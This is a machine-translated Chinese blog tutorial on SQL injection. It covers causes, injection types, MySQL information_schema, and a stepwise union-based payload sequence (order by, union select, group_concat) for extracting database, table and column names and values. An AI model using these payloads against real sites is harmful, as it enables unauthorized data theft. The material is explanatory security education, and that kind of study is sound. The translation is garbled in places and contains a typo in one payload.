当前位置:网站首页>SQL injection
SQL injection
2022-07-06 14:07:00 【Unknown white hat】
SQL Inject
SQL Injection is a way to modify the background by operating input SQL Statement to attack code execution
SQL Injection generation principle
- The parameters entered by the user are not strictly filtered ( Such as filtering single and double quotation marks Angle brackets, etc ), It is taken to the database to execute . It's caused SQL Inject
- It uses string splicing to construct SQL sentence
SQL Classification of Injection
- From the classification of injection techniques, it can be divided into : Joint injection query , Error reporting injection , Boolean Injection , Delay Injection , Stack Injection
- Injection types can be divided into : Character ( That is, the input is filtered with symbols ), Numerical type ( That is, the input is not filtered with symbols )
- From the injection position, it can be divided into :GET data ( The data submission method is GET, Most of them exist in the address bar ),POST( The data submission method is POST, Most of them exist in the input box ),HTTP Head ( The data submission method is HTTP Head ),cookie data ( Submitted by cookie)
SQL Hazards of Injection
There are two kinds of : Endanger the data in the database , Directly endanger the authority of the website ( Need to meet the conditions )
- Database information disclosure
- Webpage tampering : Log in to the background and publish malicious content
- Website hanging horse : When you get it webshell Or after obtaining the permission of the server , Some web Trojans can be hung on the server , To attack others
- Add system account without permission
- Read and write files to get webshell
MYSQL database
database A= Website A= Database users A
Table name
Name
data
database B= Website B= Database users B
......
database C= Website C= Database users C
......
Necessary knowledge
- stay MYSQL5.0 In the previous version ,MYSQL There is a built-in database named information_schema, It is a database name that stores all records , Table name , Database of column names , It is also equivalent to querying it to obtain the table name or column name information under the specified database .
- Symbols in the database “.” Represents the next level , Such as xiaodi.user Express xiaodi Database based user Table name .
- Common parameters
Information_schema.tables: A table that records all table name information
Information_schema.columns: A table that records all column name information
Table_name: Table name
Column_name: Name
Table_schema: Database name
User() View the current MYSQL Login user name
Database() View current usage MYSQL Database name
Version() View the current MYSQL edition
How to judge the injection point
- If the page MYSQL Report errors , Prove that there is SQL Inject holes
Single quotation marks ’
And 1=1
And 1=2
Select * from users where id=1 and 1=1 limit 0,1 normal
Select * from users where id=1 and 1=2 limit 0,2 error
- Logical operators ( Or and not )
True and true = really
True and false = false
True or false = really
Select * from users where id=1 really
1=1 really
1=2 false
True and true = really
True and false = false
Select * from users where id=1 or 1=1 limit 0,1 normal
Select * from users where id=1 or 1=2 limit 0,1 normal
SQL Injection utilization
1. According to the injection location data type, the sql Injection classification
2. utilize order Determine the number of fields
Order by x( Numbers ) The normal value of right and wrong The correct web page displays normally , Error page error
?id=1’ order by 3 --+
3. utilize union select The joint query , take id The setting is not true , The number of available fields can be detected
?id=-1 union select 1,2,3 --+
4. Utilization function database(),user(),version() You can get the database name of the detected database , User name and version number
?id=-1 union select 1,database(),version() --+
5. utilize union select The joint query , Get table name
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’ Known library name ’ --+
6. utilize union select The joint query , Get field name
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’ Known table name ’ --+
7. utilize union select The joint query , Get field value
?id=-1’ union select 1,2,group_connat( Known field name ,’:’, Known field name ) from Known table name --+
边栏推荐
- Hackmyvm target series (6) -videoclub
- 1. First knowledge of C language (1)
- 7-11 机工士姆斯塔迪奥(PTA程序设计)
- 实验六 继承和多态
- Hackmyvm target series (3) -visions
- HackMyvm靶机系列(5)-warez
- 7-15 h0161. 求最大公约数和最小公倍数(PTA程序设计)
- Experiment 7 use of common classes
- HackMyvm靶机系列(2)-warrior
- Implementation principle of automatic capacity expansion mechanism of ArrayList
猜你喜欢
Strengthen basic learning records
Strengthen basic learning records
HackMyvm靶機系列(3)-visions
Strengthen basic learning records
Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems
The difference between cookies and sessions
MATLAB打开.m文件乱码解决办法
记一次,修改密码逻辑漏洞实战
3. Input and output functions (printf, scanf, getchar and putchar)
.Xmind文件如何上传金山文档共享在线编辑?
随机推荐
[insert, modify and delete data in the headsong educator data table]
简述xhr -xhr的基本使用
简单理解ES6的Promise
Using spacedesk to realize any device in the LAN as a computer expansion screen
String ABC = new string ("ABC"), how many objects are created
7-15 h0161. Find the greatest common divisor and the least common multiple (PTA program design)
7-9 制作门牌号3.0(PTA程序设计)
HackMyvm靶機系列(3)-visions
[err] 1055 - expression 1 of order by clause is not in group by clause MySQL
Interpretation of iterator related "itertools" module usage
外网打点(信息收集)
How to understand the difference between technical thinking and business thinking in Bi?
7-1 输出2到n之间的全部素数(PTA程序设计)
HackMyvm靶机系列(5)-warez
Beautified table style
[VMware abnormal problems] problem analysis & Solutions
7-11 mechanic mustadio (PTA program design)
Experiment 7 use of common classes (correction post)
Simply understand the promise of ES6
Hackmyvm target series (7) -tron